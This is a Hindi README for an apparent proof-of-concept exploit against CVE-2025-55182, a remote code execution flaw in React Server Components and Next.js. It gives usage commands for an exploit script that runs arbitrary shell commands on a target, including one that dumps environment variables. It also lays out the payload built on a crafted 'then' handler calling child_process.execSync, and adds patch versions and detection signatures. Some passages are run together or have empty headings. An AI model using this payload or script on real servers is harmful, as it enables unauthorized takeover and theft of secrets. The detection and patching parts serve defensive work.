
CVE-2025-55182 (React2Shell) के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, React Server Components में असुरक्षित डीसेरिएलाइज़ेशन के माध्यम से गंभीर RCE भेद्यता। अधिकृत सुरक्षा परीक्षण के लिए एक्सप्लॉइट स्क्रिप्ट, कमजोर ऐप सेटअप, और पहचान हस्ताक्षर शामिल हैं।
यह रिपॉजिटरी CVE-2025-55182 के लिए एक प्रमाण की अवधारणा प्रदान करता है, जो रिएक्ट सर्वर घटकों में एक गंभीर रिमोट कोड निष्पादन भेद्यता है। यह केवल अधिकृत सुरक्षा परीक्षण और अनुसंधान उद्देश्यों के लिए है।
React:
Next.js:
यह भेद्यता रिएक्ट सर्वर घटकों के Flight प्रोटोकॉल में असुरक्षित डिसीरियलाइज़ेशन का शोषण करती है। जब कोई सर्वर विशेष रूप से तैयार किया गया पेलोड प्राप्त करता है, तो वह डिसीरियलाइज़ेशन से पहले संरचना को ठीक से मान्य करने में विफल रहता है, जिससे हमलावर-नियंत्रित डेटा सर्वर-साइड निष्पादन में हेरफेर कर सकता है।
then विधि शामिल हैprocess.mainModule.require('child_process') के माध्यम से सर्वर पर मनमाना जावास्क्रिप्ट निष्पादित होता हैnpm install
npm run dev
सर्वर http://localhost:3000 पर प्रारंभ होगा।
app/
├── page.js # Main page with ServerForm
├── ServerForm.js # Client component with form
├── actions.js # Vulnerable Server Action
└── layout.js # Root layout
python3 exploit.py -t http://localhost:3000 -c "whoami"
-t, --target: लक्ष्य URL (आवश्यक)-c, --command: निष्पादित करने के लिए शेल कमांड (डिफ़ॉल्ट: id)--check-only: केवल जांचें कि लक्ष्य कमजोर प्रतीत होता है या नहींजांचें कि लक्ष्य कमजोर है या नहीं:
python3 exploit.py -t http://localhost:3000 --check-only
मनमाने कमांड निष्पादित करें:
# Get user info
python3 exploit.py -t http://localhost:3000 -c "id"
# List files
python3 exploit.py -t http://localhost:3000 -c "ls -la"
# Create a file as POC
python3 exploit.py -t http://localhost:3000 -c "touch /tmp/pwned"
# Read environment variables
python3 exploit.py -t http://localhost:3000 -c "env"
एक्सप्लॉइट मल्टीपार्ट फॉर्म-डेटा का उपयोग करता है:
फ़ील्ड "0": कस्टम 'then' हैंडलर के साथ दुर्भावनापूर्ण JSON
फ़ील्ड "1": फ़ील्ड 0 का संदर्भ ($@0)
हेडर: Next-Action: x (RSC प्रसंस्करण ट्रिगर करता है)
पेलोड आंतरिक _response ऑब्जेक्ट में हेरफेर करके निष्पादित करता है:
process.mainModule.require('child_process').execSync('<command>')
React अपडेट करें:
npm install [email protected] [email protected]
Next.js अपडेट करें:
npm install [email protected] # or latest patched version
Next-Action हेडर के साथ RSC एंडपॉइंट पर अप्रत्याशित POST अनुरोध$@ संदर्भों के साथ मल्टीपार्ट फॉर्म-डेटा पेलोडthen गुणPOST / HTTP/1.1
Next-Action: x
Content-Type: multipart/form-data
...containing {"then":"$@
यह प्रूफ ऑफ कॉन्सेप्ट केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए प्रदान किया गया है। कंप्यूटर सिस्टम तक अनधिकृत पहुंच अवैध है। लेखक इस जानकारी के दुरुपयोग के लिए कोई दायित्व नहीं लेते हैं।
न करें:
MIT लाइसेंस - केवल सुरक्षा अनुसंधान उद्देश्यों के लिए